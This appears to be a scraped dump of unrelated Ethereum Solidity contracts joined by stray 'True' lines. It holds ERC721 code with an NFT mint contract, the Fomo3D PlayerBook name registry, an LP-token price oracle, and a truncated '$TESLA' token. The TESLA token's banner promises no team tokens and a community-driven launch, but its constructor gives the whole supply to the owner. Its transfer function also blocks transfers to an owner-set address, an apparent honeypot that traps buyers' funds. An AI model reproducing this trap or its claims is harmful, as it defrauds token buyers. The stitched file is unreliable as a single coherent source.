"ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.0; contract Doodlezuki is ERC721, Ownable { uint256 public constant MAX_SUPPLY = 1000; uint256 private mintCount = 0; uint256 public price = 85000000000000000; string baseTokenURI; bool public saleOpen = false; event Minted(uint256 totalMinted); constructor(string memory baseURI) ERC721("Doodlezuki", "DZUKi") { setBaseURI(baseURI); } function totalSupply() public view returns (uint256) { return mintCount; } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function changePrice(uint256 _newPrice) external onlyOwner { price = _newPrice; } function flipSale() external onlyOwner { saleOpen = !saleOpen; } function withdraw() external onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success, "Transfer failed."); } function mint(address _to, uint256 _count) external payable { uint256 supply = totalSupply(); require(supply + _count <= MAX_SUPPLY, "Exceeds maximum supply"); require(_count > 0, "Minimum 1 NFT has to be minted per transaction"); if (msg.sender != owner()) { require(saleOpen, "Sale is not open yet"); require( _count <= 5, "Maximum 5 NFTs can be minted per transaction" ); require( msg.value >= price * _count, "Ether sent with this transaction is not correct" ); } mintCount += _count; for (uint256 i = 0; i < _count; i++) { _safeMint(_to, ++supply); emit Minted(supply); } } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } }

True

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pragma solidity ^0.4.24; /* * -PlayerBook - v0.3.14 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * ______ _ ______ _ *====(_____ \=| |===============================(____ \===============| |=============* * _____) )| | _____ _ _ _____ ____ ____) ) ___ ___ | | _ * | ____/ | | (____ || | | || ___ | / ___) | __ ( / _ \ / _ \ | |_/ ) * | | | | / ___ || |_| || ____|| | | |__) )| |_| || |_| || _ ( *====|_|=======\_)\_____|=\__ ||_____)|_|======|______/==\___/==\___/=|_|=\_)=========* * (____/ * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // price to register a name mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = 0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68; plyr_[1].name = "justo"; plyr_[1].names = 1; pIDxAddr_[0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68] = 1; pIDxName_["justo"] = 1; plyrNames_[1]["justo"] = true; plyrNameList_[1][1] = "justo"; plyr_[2].addr = 0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68; plyr_[2].name = "mantso"; plyr_[2].names = 1; pIDxAddr_[0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68] = 2; pIDxName_["mantso"] = 2; plyrNames_[2]["mantso"] = true; plyrNameList_[2][1] = "mantso"; plyr_[3].addr = 0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68; plyr_[3].name = "sumpunk"; plyr_[3].names = 1; pIDxAddr_[0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68] = 3; pIDxName_["sumpunk"] = 3; plyrNames_[3]["sumpunk"] = true; plyrNameList_[3][1] = "sumpunk"; plyr_[4].addr = 0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68; plyr_[4].name = "inventor"; plyr_[4].names = 1; pIDxAddr_[0x584f2b61b5fdae9aed5d12e1bf7f77db3766fc68] = 4; pIDxName_["inventor"] = 4; plyrNames_[4]["inventor"] = true; plyrNameList_[4][1] = "inventor"; pID_ = 4; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier onlyDevs() { require(admin == msg.sender, "msg sender is not a dev"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev registers a name. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who refered you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // update last affiliate plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // register name registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** * @dev players, if you registered a profile, before a game was released, or * set the all bool to false when you registered, use this function to push * your profile to a single game. also, if you've updated your name, you * can use this to push your name to games of your choosing. * -functionhash- 0x81c5b206 * @param _gameID game id */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "silly player, that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev players, use this to push your player profile to all registered games. * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev players use this to change back to one of your old names. tip, you'll * still need to push that info to existing games. * -functionhash- 0xb9291296 * @param _nameString the name you want to use */ function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); // update their current name plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . //=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // if names already has been used, require that current msg sender owns the name if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); // add name to player profile, registry, and name book plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards admin.transfer(address(this).balance); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // set the new player bool to true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } function setRegistrationFee(uint256 _fee) onlyDevs() public { registrationFee_ = _fee; } } /** * @title -Name Filter- v0.1.9 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ __ _ ____ ____ _ _ _____ ____ ___ *=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============* *=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============* * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-24 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } } interface IAggregator { function latestAnswer() external view returns (int256 answer); } interface IUniswapV2Pair { function totalSupply() external view returns (uint256); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); } /// @title LPChainlinkOracleV1 /// @author BoringCrypto /// @notice Oracle used for getting the price of an LP token paired with ETH based on an token-ETH chainlink oracle with 18 decimals /// @dev Optimized version based on https://blog.alphafinance.io/fair-lp-token-pricing/ contract LPETHChainlinkOracleV1 is IAggregator { using BoringMath for uint256; IUniswapV2Pair public immutable pair; IAggregator public immutable tokenOracle; constructor(IUniswapV2Pair pair_, IAggregator tokenOracle_) public { pair = pair_; tokenOracle = tokenOracle_; } // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol function sqrt(uint256 x) internal pure returns (uint128) { if (x == 0) return 0; uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint128(r < r1 ? r : r1); } // Calculates the lastest exchange rate function latestAnswer() external view override returns (int256) { (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pair).getReserves(); uint256 totalSupply = pair.totalSupply(); uint256 k = reserve0.mul(reserve1); uint256 ethValue = sqrt((k / 1e18).mul(uint256(tokenOracle.latestAnswer()))); uint256 totalValue = ethValue.mul(2); return int256(totalValue.mul(1e18) / totalSupply); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-04-24 */ /** ________ ________ ______ __ ______ / |/ | / \ / | / \ $$$$$$$$/ $$$$$$$$/ /$$$$$$ |$$ | /$$$$$$ | $$ | $$ |__ $$ \__$$/ $$ | $$ |__$$ | $$ | $$ | $$ \ $$ | $$ $$ | $$ | $$$$$/ $$$$$$ |$$ | $$$$$$$$ | $$ | $$ |_____ / \__$$ |$$ |_____ $$ | $$ | $$ | $$ |$$ $$/ $$ |$$ | $$ | $$/ $$$$$$$$/ $$$$$$/ $$$$$$$$/ $$/ $$/ ----------------------------------------------------------------- #Electric Car Tesla ($TESLA) - A new way to earn income #LIQ + #RFI + #Safemoon + #DOGE + #MARSBANK = #TESLA Stealth launch Liquidity Locked for 365 Days Small Initial Market Cap No Dev & Team Token, because $TESLA 100% Driven by Community ----------------------------------------------------------------- Its the best parts of the #TESLA idea, increasing the liquidity pool automatically, help the pool grow from tiny initial market cap Audit , Coingecko , CMC & Blockfolio will be launch soon */ //SPDX-License-Identifier: MIT pragma solidity >=0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "TESLA"; name = "Electric Car Tesla"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return 